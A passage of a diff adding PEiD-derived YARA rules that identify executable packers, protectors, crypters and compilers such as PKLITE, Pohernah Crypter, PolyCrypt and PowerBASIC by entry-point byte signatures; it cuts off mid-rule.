+        $a = {2E 8C 1E ?? ?? 8B 1E ?? ?? 8C DA 81 C2 ?? ?? 3B DA 72 ?? 81 EB ?? ?? 83 EB ?? FA 8E D3 BC ?? ?? FB FD BE ?? ?? 8B FE}
+    condition:
+        $a
+}
+
+rule PEiD_01708_PKLITE_v1_00c__2__
+{
+    meta:
+        description = "[PKLITE v1.00c (2)]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? A1 ?? ?? 2D ?? ?? 8C CB 81 C3 ?? ?? 3B C3 77 ?? 05 ?? ?? 3B C3 77 ?? B4 09 BA ?? ?? CD 21 CD 20 90}
+    condition:
+        $a
+}
+rule PEiD_01709_PKLITE_v1_12__v1_15__v1_20__1__
+{
+    meta:
+        description = "[PKLITE v1.12, v1.15, v1.20 (1)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 73 ?? 2D ?? ?? FA 8E D0 FB 2D ?? ?? 8E C0 50 B9 ?? ?? 33 FF 57 BE ?? ?? FC F3 A5 CB B4 09 BA ?? ?? CD 21 CD 20}
+    condition:
+        $a
+}
+
+rule PEiD_01710_PKLITE_v1_12__v1_15__v1_20__2__
+{
+    meta:
+        description = "[PKLITE v1.12, v1.15, v1.20 (2)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BA ?? ?? 3B C4 73}
+    condition:
+        $a
+}
+
+rule PEiD_01711_PKLITE_v1_14__v1_15__v1_20__3__
+{
+    meta:
+        description = "[PKLITE v1.14, v1.15, v1.20 (3)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B ?? ?? ?? 72 ?? B4 09 BA ?? 01 CD 21 CD 20 4E 6F}
+    condition:
+        $a
+}
+
+rule PEiD_01712_PKLITE_v1_14__v1_20_
+{
+    meta:
+        description = "[PKLITE v1.14, v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 09 BA ?? ?? CD 21 CD 20}
+    condition:
+        $a
+}
+
+rule PEiD_01713_PKLITE_v1_20_
+{
+    meta:
+        description = "[PKLITE v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 09 BA ?? ?? CD 21 B4 4C CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_01714_PKLITE_v1_50__1__
+{
+    meta:
+        description = "[PKLITE v1.50 (1)]"
+        ep_only = "true"
+    strings:
+        $a = {50 B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 ?? BA ?? ?? CD 21 B8 ?? ?? CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_01715_PKLITE_v1_50__Device_driver_compression__
+{
+    meta:
+        description = "[PKLITE v1.50 (Device driver compression)]"
+        ep_only = "true"
+    strings:
+        $a = {B4 09 BA 14 01 CD 21 B8 00 4C CD 21 F8 9C 50 53 51 52 56 57 55 1E 06 BB}
+    condition:
+        $a
+}
+rule PEiD_01716_PKLITE_v2_00c_
+{
+    meta:
+        description = "[PKLITE v2.00c]"
+        ep_only = "true"
+    strings:
+        $a = {50 B8 ?? ?? BA ?? ?? 3B C4 73 ?? 8B C4 2D ?? ?? 25 ?? ?? 8B F8 B9 ?? ?? BE ?? ?? FC}
+    condition:
+        $a
+}
+/*
+rule PEiD_01717_PKLITE32_1_1____PKWARE_Inc__
+{
+    meta:
+        description = "[PKLITE32 1.1 -> PKWARE Inc.]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 00 00 00 00 E8 ?? ?? ?? ?? E9}
+    condition:
+        $a
+}
+
+*/
+
+rule PEiD_01718_PKLITE32_1_1_
+{
+    meta:
+        description = "[PKLITE32 1.1]"
+        ep_only = "true"
+    strings:
+        $a = {50 4B 4C 49 54 45 33 32 20 43 6F 70 79 72 69 67 68 74 20 31}
+    condition:
+        $a
+}
+
+rule PEiD_01719_PKLITE32_v1_1_
+{
+    meta:
+        description = "[PKLITE32 v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC A1 ?? ?? ?? ?? 85 C0 74 09 B8 01 00 00 00 5D C2 0C 00 8B 45 0C 57 56 53 8B 5D 10}
+    condition:
+        $a
+}
+rule PEiD_01720_PKLITE32_v1_1_
+{
+    meta:
+        description = "[PKLITE32 v1.1]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC A1 ?? ?? ?? ?? 85 C0 74 09 B8 01 ?? ?? ?? 5D C2 0C ?? 8B 45 0C 57 56 53 8B 5D 10}
+    condition:
+        $a
+}
+/*
+rule PEiD_01721_PKLITE32_v1_1_
+{
+    meta:
+        description = "[PKLITE32 v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 00 00 00 00 E8}
+    condition:
+        $a
+}
+*/
+rule PEiD_01722_PKLITE32_v1_1_
+{
+    meta:
+        description = "[PKLITE32 v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 44 24 0C 50}
+    condition:
+        $a
+}
+
+rule PEiD_01723_Pksmart_1_0b_
+{
+    meta:
+        description = "[Pksmart 1.0b]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? 8C C8 8B C8 03 C2 81 ?? ?? ?? 51 B9 ?? ?? 51 1E 8C D3}
+    condition:
+        $a
+}
+rule PEiD_01724_PKTINY_v1_0_with_TINYPROG_v3_8_
+{
+    meta:
+        description = "[PKTINY v1.0 with TINYPROG v3.8]"
+        ep_only = "true"
+    strings:
+        $a = {2E C6 06 ?? ?? ?? 2E C6 06 ?? ?? ?? 2E C6 06 ?? ?? ?? E9 ?? ?? E8 ?? ?? 83}
+    condition:
+        $a
+}
+
+rule PEiD_01725_PKZIP_SFX_v1_1_1989_90_
+{
+    meta:
+        description = "[PKZIP-SFX v1.1 1989-90]"
+        ep_only = "true"
+    strings:
+        $a = {FC 2E 8C 0E ?? ?? A1 ?? ?? 8C CB 81 C3 ?? ?? 3B C3 72 ?? 2D ?? ?? 2D ?? ?? FA BC ?? ?? 8E D0 FB}
+    condition:
+        $a
+}
+
+rule PEiD_01726_PLINK86_1984__1985_
+{
+    meta:
+        description = "[PLINK86 1984, 1985]"
+        ep_only = "true"
+    strings:
+        $a = {FA 8C C7 8C D6 8B CC BA ?? ?? 8E C2 26}
+    condition:
+        $a
+}
+
+rule PEiD_01727_PluginToExe_v1_00____BoB___BobSoft_
+{
+    meta:
+        description = "[PluginToExe v1.00 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 29 C0 5D 81 ED D1 40 40 00 50 FF 95 B8 40 40 00 89 85 09 40 40 00 FF 95 B4 40 40 00 89 85 11 40 40 00 50 FF 95 C0 40 40 00 8A 08 80 F9 22 75 07 50 FF 95 C4 40 40 00 89 85 0D 40 40 00 8B 9D 09 40 40 00 60 6A 00 6A 01 53 81 C3 ?? ?? ?? 00 FF D3 61 6A 00 68 44 69 45 50 FF B5 0D 40 40 00 6A 00 81 C3 ?? ?? ?? 00 FF D3 83 C4 10 FF 95 B0 40 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01728_PluginToExe_v1_01____BoB___BobSoft_
+{
+    meta:
+        description = "[PluginToExe v1.01 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 29 C0 5D 81 ED C6 41 40 00 50 8F 85 71 40 40 00 50 FF 95 A5 41 40 00 89 85 6D 40 40 00 FF 95 A1 41 40 00 50 FF 95 B5 41 40 00 80 38 00 74 16 8A 08 80 F9 22 75 07 50 FF 95 B9 41 40 00 89 85 75 40 40 00 EB 6C 6A 01 8F 85 71 40 40 00 6A 58 6A 40 FF 95 A9 41 40 00 89 85 69 40 40 00 89 C7 68 00 08 00 00 6A 40 FF 95 A9 41 40 00 89 47 1C C7 07 58 00 00 00 C7 47 20 00 08 00 00 C7 47 18 01 00 00 00 C7 47 34 04 10 88 00 8D 8D B9 40 40 00 89 4F 0C 8D 8D DB 40 40 00 89 4F 30 FF B5 69 40 40 00 FF 95 95 41 40 00 FF 77 1C 8F 85 75 40 40 00 8B 9D 6D 40 40 00 60 6A 00 6A 01 53 81 C3 ?? ?? ?? 00 FF D3 61 6A 00 68 44 69 45 50 FF B5 75 40 40 00 6A 00 81 C3 ?? ?? 00 00 FF D3 83 C4 10 83 BD 71 40 40 00 00 74 10 FF 77 1C FF 95 AD 41 40 00 57 FF 95 AD 41 40 00 6A 00 FF 95 9D 41 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01729_PluginToExe_v1_02____BoB___BobSoft_
+{
+    meta:
+        description = "[PluginToExe v1.02 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 29 C0 5D 81 ED 32 42 40 00 50 8F 85 DD 40 40 00 50 FF 95 11 42 40 00 89 85 D9 40 40 00 FF 95 0D 42 40 00 50 FF 95 21 42 40 00 80 38 00 74 16 8A 08 80 F9 22 75 07 50 FF 95 25 42 40 00 89 85 E1 40 40 00 EB 6C 6A 01 8F 85 DD 40 40 00 6A 58 6A 40 FF 95 15 42 40 00 89 85 D5 40 40 00 89 C7 68 00 08 00 00 6A 40 FF 95 15 42 40 00 89 47 1C C7 07 58 00}
+    condition:
+        $a
+}
+rule PEiD_01730_PMODE_W_v_1_12__1_16__1_21__1_33_DOS_extender_
+{
+    meta:
+        description = "[PMODE/W v.1.12, 1.16, 1.21, 1.33 DOS extender]"
+        ep_only = "true"
+    strings:
+        $a = {FC 16 07 BF ?? ?? 8B F7 57 B9 ?? ?? F3 A5 06 1E 07 1F 5F BE ?? ?? 06 0E A4}
+    condition:
+        $a
+}
+
+rule PEiD_01731_PocketPC_ARM__h__
+{
+    meta:
+        description = "[PocketPC ARM (h)]"
+        ep_only = "true"
+    strings:
+        $a = {F0 41 2D E9 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? A0 E1 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 50 E3 ?? 00 00 0A ?? ?? ?? ?? ?? ?? A0 ?? ?? ?? ?? ?? ?? ?? A0 ?? ?? ?? A0 E1 00 80 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? A0 E1}
+    condition:
+        $a
+}
+rule PEiD_01732_PocketPC_ARM_
+{
+    meta:
+        description = "[PocketPC ARM]"
+        ep_only = "true"
+    strings:
+        $a = {F0 40 2D E9 00 40 A0 E1 01 50 A0 E1 02 60 A0 E1 03 70 A0 E1 ?? 00 00 EB 07 30 A0 E1 06 20 A0 E1 05 10 A0 E1 04 00 A0 E1 ?? ?? ?? EB F0 40 BD E8 ?? 00 00 EA ?? 40 2D E9}
+    condition:
+        $a
+}
+
+rule PEiD_01733_PocketPC_ARM_
+{
+    meta:
+        description = "[PocketPC ARM]"
+        ep_only = "true"
+    strings:
+        $a = {F0 40 2D E9 00 40 A0 E1 01 50 A0 E1 02 60 A0 E1 03 70 A0 E1 ?? 00 00 EB 07 30 A0 E1 06 20 A0 E1 05 10 A0 E1 04 00 A0 E1 ?? ?? ?? EB F0 40 BD E8 ?? 00 00 EA ?? 40 2D E9 ?? ?? 9F E5 ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 9F E5 00 ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_01734_PocketPC_MIB_
+{
+    meta:
+        description = "[PocketPC MIB]"
+        ep_only = "true"
+    strings:
+        $a = {E8 FF BD 27 14 00 BF AF 18 00 A4 AF 1C 00 A5 AF 20 00 A6 AF 24 00 A7 AF ?? ?? ?? 0C 00 00 00 00 18 00 A4 8F 1C 00 A5 8F 20 00 A6 8F ?? ?? ?? 0C 24 00 A7 8F ?? ?? ?? 0C 25 20 40 00 14 00 BF 8F 08 00 E0 03 18 00 BD 27 ?? FF BD 27 18 00 ?? AF}
+    condition:
+        $a
+}
+
+rule PEiD_01735_PocketPC_MIB_
+{
+    meta:
+        description = "[PocketPC MIB]"
+        ep_only = "true"
+    strings:
+        $a = {E8 FF BD 27 14 00 BF AF 18 00 A4 AF 1C 00 A5 AF 20 00 A6 AF 24 00 A7 AF ?? ?? ?? 0C 00 00 00 00 18 00 A4 8F 1C 00 A5 8F 20 00 A6 8F ?? ?? ?? 0C 24 00 A7 8F ?? ?? ?? 0C 25 20 40 00 14 00 BF 8F 08 00 E0 03 18 00 BD 27 ?? FF BD 27 18 00 ?? AF ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_01736_PocketPC_SHA_
+{
+    meta:
+        description = "[PocketPC SHA]"
+        ep_only = "true"
+    strings:
+        $a = {86 2F 96 2F A6 2F B6 2F 22 4F 43 68 53 6B 63 6A 73 69 F0 7F 0B D0 0B 40 09 00 09 D0 B3 65 A3 66 93 67 0B 40 83 64 03 64 04 D0 0B 40 09 00 10 7F 26 4F F6 6B F6 6A F6 69 0B 00 F6 68 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 22 4F F0 7F 0A D0 06 D4 06 D5 0B 40 09}
+    condition:
+        $a
+}
+rule PEiD_01737_Pohernah_1_0_0___by_Kas_
+{
+    meta:
+        description = "[Pohernah 1.0.0 - by Kas]"
+        ep_only = "true"
+    strings:
+        $a = {58 60 E8 00 00 00 00 5D 81 ED 20 25 40 00 8B BD 86 25 40 00 8B 8D 8E 25 40 00 6B C0 05 83 F0 04 89 85 92 25 40 00 83 F9 00 74 2D 81 7F 1C AB 00 00 00 75 1E 8B 77 0C 03 B5 8A 25 40 00 31 C0 3B 47 10 74 0E 50 8B 85 92 25 40 00 30 06 58 40 46 EB ED 83 C7 28}
+    condition:
+        $a
+}
+
+rule PEiD_01738_Pohernah_1_0_0___by_Kas_
+{
+    meta:
+        description = "[Pohernah 1.0.0 - by Kas]"
+        ep_only = "true"
+    strings:
+        $a = {58 60 E8 00 00 00 00 5D 81 ED 20 25 40 00 8B BD 86 25 40 00 8B 8D 8E 25 40 00 6B C0 05 83 F0 04 89 85 92 25 40 00 83 F9 00 74 2D 81 7F 1C AB 00 00 00 75 1E 8B 77 0C 03 B5 8A 25 40 00 31 C0 3B 47 10 74 0E 50 8B 85 92 25 40 00 30 06 58 40 46 EB ED 83 C7 28 49 EB CE 8B 85 82 25 40 00 89 44 24 1C 61 FF E0}
+    condition:
+        $a
+}
+
+rule PEiD_01739_Pohernah_1_0_1___by_Kas_
+{
+    meta:
+        description = "[Pohernah 1.0.1 - by Kas]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED F1 26 40 00 8B BD 18 28 40 00 8B 8D 20 28 40 00 B8 38 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 1C 28 40 00 31 C0 51 31 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 1C 28 40 00 8B 85 24 28 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 89 CE E8 27 00 00 00 89 C1 5F B8 38 28 40 00 01 E8 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 14 28 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 21 FE 89 F0 5F 5E C3 60 83 F0 05 40 90 48 83 F0 05 89 C6 89 D7 60 E8 0B 00 00 00 61 83 C7 08 83 E9 07 E2 F1 61 C3 57 8B 1F 8B 4F 04 68 B9 79 37 9E 5A 42 89 D0 48 C1 E0 05 BF 20 00 00 00 4A 89 DD C1 E5 04 29 E9 8B 6E 08 31 DD 29 E9 89 DD C1 ED 05 31 C5 29 E9 2B 4E 0C 89 CD C1 E5 04 29 EB 8B 2E 31 CD 29 EB 89 CD C1 ED 05 31 C5 29 EB 2B 5E 04 29 D0 4F 75 C8 5F 89 1F 89 4F 04 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01740_Pohernah_1_0_2___by_Kas_
+{
+    meta:
+        description = "[Pohernah 1.0.2 - by Kas]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED DE 26 40 00 8B BD 05 28 40 00 8B 8D 0D 28 40 00 B8 25 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 09 28 40 00 31 C0 51 31 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 09 28 40 00 8B 85 11 28 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 89 CE E8 27 00 00 00 89 C1 5F B8 25 28 40 00 01 E8 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 01 28 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 21 FE 89 F0 5F 5E C3 60 83 F0 05 40 90 48 83 F0 05 89 C6 89 D7 60 E8 0B 00 00 00 61 83 C7 08 83 E9 07 E2 F1 61 C3 57 8B 1F 8B 4F 04 68 B9 79 37 9E 5A 42 89 D0 48 C1 E0 05 BF 20 00 00 00 4A 89 DD C1 E5 04 29 E9 8B 6E 08 31 DD 29 E9 89 DD C1 ED 05 31 C5 29 E9 2B 4E 0C 89 CD C1 E5 04 29 EB 8B 2E 31 CD 29 EB 89 CD C1 ED 05 31 C5 29 EB 2B 5E 04 29 D0 4F 75 C8 5F 89 1F 89 4F 04 C3}
+    condition:
+        $a
+}
+rule PEiD_01741_Pohernah_1_0_3___by_Kas_
+{
+    meta:
+        description = "[Pohernah 1.0.3 - by Kas]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 2A 27 40 00 31 C0 40 83 F0 06 40 3D 40 1F 00 00 75 07 BE 6A 27 40 00 EB 02 EB EB 8B 85 9E 28 40 00 83 F8 01 75 17 31 C0 01 EE 3D 99 00 00 00 74 0C 8B 8D 86 28 40 00 30 0E 40 46 EB ED}
+    condition:
+        $a
+}
+
+rule PEiD_01742_Pohernah_Crypter_V1_0_1____Kas_
+{
+    meta:
+        description = "[Pohernah Crypter V1.0.1 -> Kas]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED F1 26 40 00 8B BD 18 28 40 00 8B 8D 20 28 40 00 B8 38 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 1C 28 40 00 31 C0 51 31 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 1C 28 40 00 8B 85 24}
+    condition:
+        $a
+}
+
+rule PEiD_01743_Pohernah_Crypter_V1_0_2____Kas_
+{
+    meta:
+        description = "[Pohernah Crypter V1.0.2 -> Kas]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED DE 26 40 00 8B BD 05 28 40 00 8B 8D 0D 28 40 00 B8 25 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 09 28 40 00 31 C0 51 31 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 09 28 40 00 8B 85 11}
+    condition:
+        $a
+}
+
+rule PEiD_01744_PolyBox_C____Anskya_
+{
+    meta:
+        description = "[PolyBox C -> Anskya]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 E4 41 00 10 E8 3A E1 FF FF 33 C0 55 68 11 44 00 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 6A 0A 68 20 44 00 10 A1 1C 71 00 10 50 E8 CC E1 ?? ?? ?? ?? 85 DB 0F 84 77 01 00 00 53 A1 1C 71 00 10 50 E8 1E E2 FF FF 8B F0 85 F6 0F 84 61 01 00 00 53 A1 1C 71 00 10 50 E8 E0 E1 FF FF 85 C0 0F 84 4D 01 00 00 50 E8 DA E1 FF FF 8B D8 85 DB 0F 84 3D 01 00 00 56 B8 70 80 00 10 B9 01 00 00 00 8B 15 98 41 00 10 E8 9E DE FF FF 83 C4 04 A1 70 80 00 10 8B CE 8B D3 E8 E1 E1 FF FF 6A 00 6A 00 A1 70 80 00 10 B9 30 44 00 10 8B D6 E8 F8 FD FF FF}
+    condition:
+        $a
+}
+rule PEiD_01745_PolyBox_D____Anskya_
+{
+    meta:
+        description = "[PolyBox D -> Anskya]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 33 C9 51 51 51 51 51 53 33 C0 55 68 84 2C 40 00 64 FF 30 64 89 20 C6 45 FF 00 B8 B8 46 40 00 BA 24 00 00 00 E8 8C F3 FF FF 6A 24 BA B8 46 40 00 8B 0D B0 46 40 00 A1 94 46 40 00 E8 71 FB FF FF 84 C0 0F 84 6E 01 00 00 8B 1D D0 46 40 00 8B C3 83 C0 24 03 05 D8 46 40 00 3B 05 B4 46 40 00 0F 85 51 01 00 00 8D 45 F4 BA B8 46 40 00 B9 10 00 00 00 E8 A2 EC FF FF 8B 45 F4 BA 9C 2C 40 00 E8 F1 ED FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01746_PolyCrypt_PE___2_1_4b_2_1_5____JLab_Software_Creations__h_oep__
+{
+    meta:
+        description = "[PolyCrypt PE - 2.1.4b/2.1.5 -> JLab Software Creations (h-oep)]"
+        ep_only = "false"
+    strings:
+        $a = {91 8B F4 AD FE C9 80 34 08 ?? E2 FA C3 60 E8 ED FF FF FF EB}
+    condition:
+        $a
+}
+rule PEiD_01747_PolyCrypt_PE___2_1_4b_2_1_5____JLab_Software_Creations__h_signed__
+{
+    meta:
+        description = "[PolyCrypt PE - 2.1.4b/2.1.5 -> JLab Software Creations (h-signed)]"
+        ep_only = "false"
+    strings:
+        $a = {50 6F 6C 79 43 72 79 70 74 20 50 45 20 28 63 29 20 32 30 30 34 2D 32 30 30 35 2C 20 4A 4C 61 62 53 6F 66 74 77 61 72 65 2E 00 50 00 43 00 50 00 45}
+    condition:
+        $a
+}
+
+rule PEiD_01748_PolyCryptor_by_SMT_Version__v3__v4_
+{
+    meta:
+        description = "[PolyCryptor by SMT Version %v3.%v4]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? 28 50 6F 6C 79 53 63 72 79 70 74 20 ?? ?? ?? 20 62 79 20 53 4D 54 29}
+    condition:
+        $a
+}
+rule PEiD_01749_PolyEnE_V0_01_____Lennart_Hedlund_
+{
+    meta:
+        description = "[PolyEnE V0.01+ -> Lennart Hedlund]"
+        ep_only = "false"
+    strings:
+        $a = {50 6F 6C 79 45 6E 45 00 4D 65 73 73 61 67 65 42 6F 78 41 00 55 53 45 52 33 32 2E 64 6C 6C}
+    condition:
+        $a
+}
+
+rule PEiD_01750_PoPa_0_01__Packer_on_Pascal_____bagie_
+{
+    meta:
+        description = "[PoPa 0.01 (Packer on Pascal) -> bagie]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 A4 3E 00 10 E8 30 F6 FF FF 33 C0 55 68 BE 40 00 10 ?? ?? ?? ?? 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 62 E7 FF FF 8B 45 EC E8 32 F2 FF FF 50 E8 B4 F6 FF FF A3 64 66 00 10 33 D2 55 68 93 40 00 10 64 FF 32 64 89 22 83 3D 64 66 00 10 FF 0F 84 3A 01 00 00 6A 00 6A 00 6A 00 A1 64 66 00 10 50 E8 9B F6 FF FF 83 E8 10 50 A1 64 66 00 10 50 E8 BC F6 FF FF 6A 00 68 80 66 00 10 6A 10 68 68 66 00 10 A1 64 66 00 10 50 E8 8B F6 FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01751_PowerBASIC_CC_3_0x_
+{
+    meta:
+        description = "[PowerBASIC/CC 3.0x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 BB 00 ?? ?? 00 66 2E F7 05 ?? ?? ?? 00 04 00 0F 85}
+    condition:
+        $a
+}
+
+rule PEiD_01752_PowerBASIC_CC_4_0_
+{
+    meta:
+        description = "[PowerBASIC/CC 4.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 BB 00 ?? 40 00 66 2E F7 05 ?? ?? 40 00 04 00 75 05 E9 68 05 00 00 E9 6E 03}
+    condition:
+        $a
+}
+
+rule PEiD_01753_PowerBASIC_Win_7_0x_
+{
+    meta:
+        description = "[PowerBASIC/Win 7.0x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 BB 00 ?? 40 00 66 2E F7 05 ?? ?? 40 00 04 00 0F 85 DB 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01754_PowerBASIC_Win_8_00_
+{
+    meta:
+        description = "[PowerBASIC/Win 8.00]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 BB 00 ?? ?? 00 66 2E F7 05 ?? ?? 40 00 04 00 75 05 E9 14 04 00 00 E9 19 02}
+    condition:
+        $a
+}
+
+rule PEiD_01755_PPC_PROTECT_1_1X____Alexey_Gorchakov_
+{
+    meta:
+        description = "[PPC-PROTECT 1.1X -> Alexey Gorchakov]"
+        ep_only = "true"
+    strings:
+        $a = {FF 5F 2D E9 20 00 9F E5 00 00 90 E5 18 00 8F E5 18 00 9F E5 00 00 90 E5 10 00 8F E5 01 00 A0 E3 00 00 00 EB 02 00 00 EA 04 F0 1F E5}
+    condition:
+        $a
+}
+rule PEiD_01756_Prepared_by_SLR__OPTLINK__
+{
+    meta:
+        description = "[Prepared by SLR (OPTLINK)]"
+        ep_only = "true"
+    strings:
+        $a = {87 C0 55 56 57 52 51 53 50 9C FC 8C DA 83 ?? ?? 16 07 0E 1F}
+    condition:
+        $a
+}
+
+rule PEiD_01757_PrincessSandy_1_0_eMiNENCE_Process_Patcher_Patch_
+{
+    meta:
+        description = "[PrincessSandy 1.0 eMiNENCE Process Patcher Patch]"
+        ep_only = "false"
+    strings:
+        $a = {68 27 11 40 00 E8 3C 01 00 00 6A 00 E8 41 01 00 00 A3 00 20 40 00 8B 58 3C 03 D8 0F B7 43 14 0F B7 4B 06 8D 7C 18 18 81 3F 2E 4C 4F 41 74 0B 83 C7 28 49 75 F2 E9 A7 00 00 00 8B 5F 0C 03 1D 00 20 40 00 89 1D 04 20 40 00 8B FB 83 C7 04 68 4C 20 40 00 68 08}
+    condition:
+        $a
+}
+
+rule PEiD_01758_PrincessSandy_v1_0_eMiNENCE_Process_Patcher_Patch_
+{
+    meta:
+        description = "[PrincessSandy v1.0 eMiNENCE Process Patcher Patch]"
+        ep_only = "false"
+    strings:
+        $a = {68 27 11 40 00 E8 3C 01 00 00 6A 00 E8 41 01 00 00 A3 00 20 40 00 8B 58 3C 03 D8 0F B7 43 14 0F B7 4B 06 8D 7C 18 18 81 3F 2E 4C 4F 41 74 0B 83 C7 28 49 75 F2 E9 A7 00 00 00 8B 5F 0C 03 1D 00 20 40 00 89 1D 04 20 40 00 8B FB 83 C7 04 68 4C 20 40 00 68 08 20 40 00 6A 00 6A 00 6A 20 6A 00 6A 00 6A 00 57 6A 00 E8 CE 00 00 00 85 C0 74 78 BD 50 C3 00 00 8B 3D 04 20 40 00 8B 07 8D 3C 07 83 C7 04 89 3D 04 20 40 00 8B 0F 83 C7 04 8B 1F 83 C7 04 4D 85 ED 74 57 60 6A 00 51 68 5C 20 40 00 53 FF 35 4C 20 40 00 E8 93 00 00 00 85 C0 61 74 E1 8B C1 60 BE 5C 20 40 00 F3 A6 74 03 61 EB D2 60 6A 00 50 57 53 FF 35 4C 20 40 00 E8 7A 00 00 00 85 C0 74 20 61 83 3C 07 00 74 2D 03 F8 EB A8 B8 5E 21 40 00 EB 13 B8 7C 21 40 00 EB 0C B8 9E 21 40 00 EB 05 B8 CF 21 40 00 6A 00 68 56}
+    condition:
+        $a
+}
+
+rule PEiD_01759_Private_EXE_Protector_1_8____SetiSoft__h__
+{
+    meta:
+        description = "[Private EXE Protector 1.8 -> SetiSoft (h)]"
+        ep_only = "false"
+    strings:
+        $a = {A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 31 FF 31 F6 C3}
+    condition:
+        $a
+}
+rule PEiD_01760_Private_EXE_Protector_1_8_
+{
+    meta:
+        description = "[Private EXE Protector 1.8]"
+        ep_only = "false"
+    strings:
+        $a = {BB DC EE 0D 76 D9 D0 8D 16 85 D8 90 D9 D0}
+    condition:
+        $a
+}
+
+rule PEiD_01761_Private_EXE_Protector_1_9_7____SetiSoft__h__
+{
+    meta:
+        description = "[Private EXE Protector 1.9.7 -> SetiSoft (h)]"
+        ep_only = "false"
+    strings:
